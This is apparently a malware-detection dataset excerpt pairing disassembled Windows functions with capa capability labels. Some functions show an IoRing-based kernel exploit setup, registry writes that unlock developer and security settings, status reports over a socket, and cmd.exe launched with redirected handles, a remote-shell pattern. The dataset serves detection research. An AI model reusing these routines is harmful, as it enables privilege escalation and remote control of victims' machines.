joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800c1de8
Capabilities:
Get geographical location

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov ebp, edx
mov dword [rax + 8], ebx
mov edi, ecx
call fcn.1800b2db0
mov ecx, edi
lea r9d, [rbx + 2]
and ecx, 0x3ff
lea r8, [rsp + 0x30]
bts ecx, 0xa
mov edx, 0x20000001
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1800c1e8b
cmp edi, dword [rsp + 0x30]
je 0x1800c1e84
test ebp, ebp
je 0x1800c1e84
mov r9, qword [rsi + 0x98]
mov r8d, ebx
movzx edx, word [r9]
lea rcx, [r9 + 2]
lea eax, [rdx - 0x41]
cmp ax, 0x19
jbe 0x1800c1e60
sub dx, 0x61
cmp dx, 0x19
ja 0x1800c1e6c
movzx edx, word [rcx]
inc r8d
add rcx, 2
jmp 0x1800c1e4d
or rax, 0xffffffffffffffff
inc rax
cmp word [r9 + rax*2], bx
jne 0x1800c1e70
cmp r8d, eax
setne bl
mov eax, ebx
jmp 0x1800c1e8d
mov eax, 1
jmp 0x1800c1e8d
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1800c5e38
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1800a027c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1800c5ec2
cmp byte [rbp - 0x21], r15b
je 0x1800c5ebd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1800c5ef8
call fcn.1800b3564
test eax, eax
jne 0x1800c5ee4
cmp byte [rbp - 0x21], r15b
je 0x1800c5edc
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1800c5ef8
cmp byte [rbp - 0x21], r15b
je 0x1800c5ef5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1800a6238
test eax, eax
jne 0x1800c5f98
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1800a027c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1800c5f37
cmp byte [rbp - 0x21], r15b
je 0x1800c5f6c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1800c5f6c
call fcn.1800b3564
test eax, eax
jne 0x1800c5f58
cmp byte [rbp - 0x21], r15b
je 0x1800c5f51
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1800c5f6c
cmp byte [rbp - 0x21], r15b
je 0x1800c5f69
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1800a6238
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1800c5f98
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1800c5f9b
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1800c5fa9
mov rcx, rdi
call fcn.1800b2870
cmp byte [rbp + 0x3f], r15b
je 0x1800c5fb8
mov rcx, qword [rbp + 0x27]
call fcn.1800b2870
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1800c6a5c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1800bafdc
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1800bafdc
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1800c6ba9
cmp rax, 0xffffffffffffffff
je 0x1800c6ba9
xor edi, edi
test rbp, rbp
jle 0x1800c6b57
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1800b27f0
mov rbx, rax
test rax, rax
jne 0x1800c6ae4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1800c6b4d
mov edx, 0x8000
mov ecx, r14d
call fcn.1800c3fbc
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1800b9284
cmp eax, 0xffffffff
je 0x1800c6b2d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1800c6af4
mov edx, r15d
mov ecx, r14d
call fcn.1800c3fbc
jmp 0x1800c6b4d
cmp byte [rsi + 0x38], dil
je 0x1800c6b44
cmp dword [rsi + 0x34], 5
jne 0x1800c6b44
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], Ordinal_15
cmp byte [rsi + 0x30], dil
je 0x1800c6b4d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1800b2870
jmp 0x1800c6bbb
jns 0x1800c6bbb
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1800bafdc
cmp rax, 0xffffffffffffffff
jne 0x1800c6b75
cmp byte [rsi + 0x30], dil
je 0x1800c6bbb
jmp 0x1800c6bb1
mov ecx, r14d
call fcn.1800c3bd8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1800c6bbb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, Ordinal_15
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], Ordinal_15
jmp 0x1800c6bbb
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1800c6bb6
mov edi, dword [rsi + 0x2c]
jmp 0x1800c6bbb
mov edi, reloc.LIBPQ.dll_Ordinal_22
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1800bafdc
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1800c7060
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800c7088
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1800c7088
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400010a0
Capabilities:
Create thread
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor esi, esi
mov qword [0x140025cd0], rcx
mov qword [rsp + 0x28], rsi
lea r8, [0x140001070]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [0x140025ce8]
lea rbp, [0x140025cf0]
mov rdi, rax
mov ebx, esi
nop dword [rax]
mov word [rcx], si
lea r8, [0x140025f00]
mov rcx, qword [0x140024a70]
mov r9d, 0x8000
mov edx, 0x16
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ntdll.dll_NtQueryInformationToken]
mov rcx, qword [0x140025ce8]
cmp word [rcx], si
je 0x14000112d
inc ebx
cmp ebx, 0x80000
jb 0x1400010f0
xor edx, edx
mov rcx, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.KERNEL32.dll_TerminateThread]
Function at 0x140001a70
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x840
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x400
call fcn.1400164b0
xor edx, edx
lea rcx, [rsp + 0x440]
mov r8d, 0x400
call fcn.1400164b0
mov r8d, 0x400
lea rdx, [rsp + 0x40]
lea rcx, str._LOCALAPPDATA_..LocalStatein_file.bin
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov r8d, 0x400
lea rdx, [rsp + 0x440]
lea rcx, str._LOCALAPPDATA_..LocalStateout_file.bin
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
xor edi, edi
lea rax, [0x140025d08]
mov edx, edi
mov qword [rsp + 0x20], rax
mov r9d, 0x20000
mov qword [rsp + 0x858], rdi
mov r8d, 0x10000
mov ecx, 0x12c
call qword [sym.imp.api_ms_win_core_ioring_l1_1_0.dll_CreateIoRing]
test eax, eax
jne 0x140001c50
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, qword [0x140025d08]
mov rcx, rbx
mov edx, eax
mov r8, qword [r8]
call fcn.140001c70
test eax, eax
jne 0x140001c50
mov rax, qword [rbx]
lea r8d, [rdi + 3]
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0xc0000000
mov qword [0x140025d00], rax
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 3]
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0x440]
xor r9d, r9d
mov qword [0x140024a88], rax
mov edx, 0xc0000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp qword [0x140024a88], 0xffffffffffffffff
mov qword [0x140024a98], rax
je 0x140001c4a
cmp rax, 0xffffffffffffffff
je 0x140001c4a
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 3]
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0x40]
xor r9d, r9d
mov dword [rsp + 0x20], 4
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 3]
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0x440]
xor r9d, r9d
mov qword [0x140024a80], rax
mov edx, 0xc0000000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp qword [0x140024a80], 0xffffffffffffffff
mov qword [0x140024a90], rax
je 0x140001c4a
cmp rax, 0xffffffffffffffff
je 0x140001c4a
mov eax, edi
mov rbx, qword [rsp + 0x850]
add rsp, 0x840
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbx, qword [rsp + 0x850]
add rsp, 0x840
pop rdi
ret
Function at 0x140001c70
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rbp, r8
lea r9, [rsp + 0x58]
mov r14d, edx
mov r15, rcx
mov esi, 0xffffffff
xor edi, edi
xor r8d, r8d
mov dword [rsp + 0x58], edi
xor edx, edx
lea ecx, [rsi + 0x11]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140001d18
mov qword [rsp + 0x40], rbx
nop word [rax + rax]
mov eax, dword [rsp + 0x58]
lea ebx, [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
test rdi, rdi
je 0x140001ce8
mov r9d, ebx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
jmp 0x140001cf1
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, dword [rsp + 0x58]
lea r9, [rsp + 0x58]
mov rdx, rax
mov ecx, send
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140001cc0
mov rbx, qword [rsp + 0x40]
test eax, eax
je 0x140001d4d
mov esi, eax
test rdi, rdi
je 0x140001d37
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbp, qword [rsp + 0x48]
mov eax, esi
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
mov r8d, dword [rdi]
xor edx, edx
test r8d, r8d
je 0x140001d1e
lea rcx, [rdi + 0xe]
nop dword [rax + rax]
movzx eax, word [rcx - 6]
cmp eax, r14d
jne 0x140001d71
movzx eax, word [rcx]
cmp rax, rbp
je 0x140001d7e
inc edx
add rcx, 0x18
cmp edx, r8d
jb 0x140001d60
jmp 0x140001d23
lea rcx, [rdx + rdx*2]
xor esi, esi
mov rax, qword [rdi + rcx*8 + 0x10]
mov qword [r15], rax
jmp 0x140001d23
Function at 0x140001d90
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x80
mov rax, qword [0x140024a80]
mov esi, r9d
mov rcx, qword [0x140024a88]
mov rbx, r8
mov qword [rsp + 0x58], rax
mov rbp, rdx
xor eax, eax
mov dword [rsp + 0x40], 1
xor r14d, r14d
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
mov dword [rsp + 0x50], r14d
xor r9d, r9d
mov qword [rsp + 0x48], r14
xor r8d, r8d
xor edx, edx
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, qword [0x140024a88]
xor r9d, r9d
mov r8d, esi
mov qword [rsp + 0x20], r14
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140001e20
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001f49
mov rcx, qword [0x140024a88]
mov qword [rsp + 0x90], rdi
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [0x140024a88]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, 0x80
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 0x7c]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140001e74
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001f41
mov rcx, qword [0x140024a80]
xor r9d, r9d
mov qword [rax + 0x20], rbp
xor r8d, r8d
mov dword [rax + 0x28], esi
xor edx, edx
mov word [rax], 0xc02
mov dword [rax + 4], 0x80
mov byte [rax + 0x2c], 1
mov dword [rax + 8], 1
mov qword [0x65007500], rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
movaps xmm0, xmmword [rsp + 0x40]
lea r8, [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
lea rdx, [rsp + 0x50]
mov rcx, qword [0x140025d08]
mov r9d, esi
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], r14
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x50], xmm1
mov qword [rsp + 0x20], r14
call qword [sym.imp.api_ms_win_core_ioring_l1_1_0.dll_BuildIoRingReadFile]
mov ebx, eax
test eax, eax
jne 0x140001f2b
mov rcx, qword [0x140025d08]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.api_ms_win_core_ioring_l1_1_0.dll_SubmitIoRing]
mov ebx, eax
test eax, eax
jne 0x140001f2b
mov rcx, qword [0x140025d08]
lea rdx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_core_ioring_l1_1_0.dll_PopIoRingCompletion]
mov ebx, eax
test eax, eax
jne 0x140001f2b
mov ebx, dword [rsp + 0x68]
mov edx, 0x80
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
mov rdi, qword [rsp + 0x90]
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140002220
Capabilities:
Create process on windows
Send data
Send data on socket
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbx
sub rsp, 0xe0
mov rbx, qword [0x140025d48]
mov r9d, 4
mov dword [rax + 8], 1
lea rax, [rax + 8]
mov dword [rsp + 0x28], 4
lea r8, str.InternalDevUnlock
lea rdx, str.OSDATASoftwareMicrosoftSecurityManager
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
test eax, eax
jne 0x14000228a
xor r9d, r9d
lea r8d, [rax + 0x1b]
lea rdx, str.InternalDevUnlock_enabled_n_n
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
lea rax, [rsp + 0xf0]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.AppModelUnlock
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionAppModelUnlock
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
test eax, eax
jne 0x1400022db
xor r9d, r9d
lea r8d, [rax + 0x18]
lea rdx, str.AppModelUnlock_enabled_n_n
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
lea rax, [rsp + 0xf0]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.AllowDevelopmentWithoutDevLicense
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREPoliciesMicrosoftWindowsAppx
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
test eax, eax
jne 0x14000232c
xor r9d, r9d
lea r8d, [rax + 0x2b]
lea rdx, str.AllowDevelopmentWithoutDevLicense_enabled_n_n
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
xorps xmm0, xmm0
mov qword [rsp + 0xb0], rbx
movups xmmword [rsp + 0xa0], xmm0
lea rax, [rsp + 0xc0]
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0x48], rax
lea rdx, str.cmd.exe
lea rax, [rsp + 0x50]
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0x40], rax
xor r9d, r9d
lea rax, [0x140020a14]
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor ecx, ecx
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x50], 0x68
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x8c], 0x100
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x90], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
nop dword [rax]
jmp 0x1400023d0

Function at 0x140002b58
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002ba2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002ba2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002ba2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002ba2
cmp dword [rcx + 0x84], 0xe
jbe 0x140002ba2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002ba4
xor al, al
add rsp, 0x28
ret
Function at 0x1400068c8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140006733
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006733
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006733
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006733
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006733
cmp dword [rcx + 0x84], 0xe
jbe 0x140006733
cmp dword [rcx + 0xf8], 0
je 0x140006733
mov ecx, ebx
call fcn.1400067e4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400065c0
nop
cmp dword [rbp + 0x20], 0
je 0x140006781
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000678c
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400066c4
Function at 0x14000dd94
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000ddc4
xor eax, eax
jmp 0x14000de87
mov rbp, rbx
cmp word [rax], si
je 0x14000dde9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000ddd0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000ddcc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000dcb4
movsxd r14, eax
test eax, eax
jne 0x14000de27
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000ddbd
mov rcx, r14
call fcn.14000a234
mov rdi, rax
test rax, rax
jne 0x14000de40
xor ecx, ecx
call fcn.14000a1f8
jmp 0x14000de1c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000dcb4
test eax, eax
jne 0x14000de71
mov rcx, rdi
call fcn.14000a1f8
jmp 0x14000de7b
xor ecx, ecx
call fcn.14000a1f8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140012910
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000cd84
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001299a
cmp byte [rbp - 0x21], r15b
je 0x140012995
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400129d0
call fcn.14000f090
test eax, eax
jne 0x1400129bc
cmp byte [rbp - 0x21], r15b
je 0x1400129b4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400129d0
cmp byte [rbp - 0x21], r15b
je 0x1400129cd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000c364
test eax, eax
jne 0x140012a70
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000cd84
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140012a0f
cmp byte [rbp - 0x21], r15b
je 0x140012a44
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140012a44
call fcn.14000f090
test eax, eax
jne 0x140012a30
cmp byte [rbp - 0x21], r15b
je 0x140012a29
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140012a44
cmp byte [rbp - 0x21], r15b
je 0x140012a41
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000c364
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140012a70
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140012a73
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140012a81
mov rcx, rdi
call fcn.14000a1f8
cmp byte [rbp + 0x3f], r15b
je 0x140012a90
mov rcx, qword [rbp + 0x27]
call fcn.14000a1f8
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140015d80
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140015da8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140015da8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1800036d0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x40
mov r14, rdx
mov rdi, rcx
mov r8d, dword [0x1800a8b44]
mov rax, qword gs:[0x58]
mov ecx, 4
mov rax, qword [rax + r8*8]
mov r8d, dword [rcx + rax]
cmp dword [0x1800a8d30], r8d
jle 0x180003752
lea rcx, [0x1800a8d30]
call fcn.18006f948
cmp dword [0x1800a8d30], 0xffffffff
jne 0x180003752
mov edx, 2
lea rsi, [0x1800a8d40]
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x180072ad0]
call fcn.18006f888
lea rcx, [0x1800a8d30]
call fcn.18006f8dc
jmp 0x180003759
lea rsi, [0x1800a8d40]
mov qword [rsp + 0x70], rsi
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x180003777
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
cmp dword [0x1800a8d8c], 0x7fffffff
jne 0x180003799
mov dword [0x1800a8d8c], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov r8, qword [rdi + 0x10]
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x1800037aa
mov rdx, qword [rdi]
xor ecx, ecx
movabs r9, 0xcbf29ce484222325
test r8, r8
je 0x1800037e3
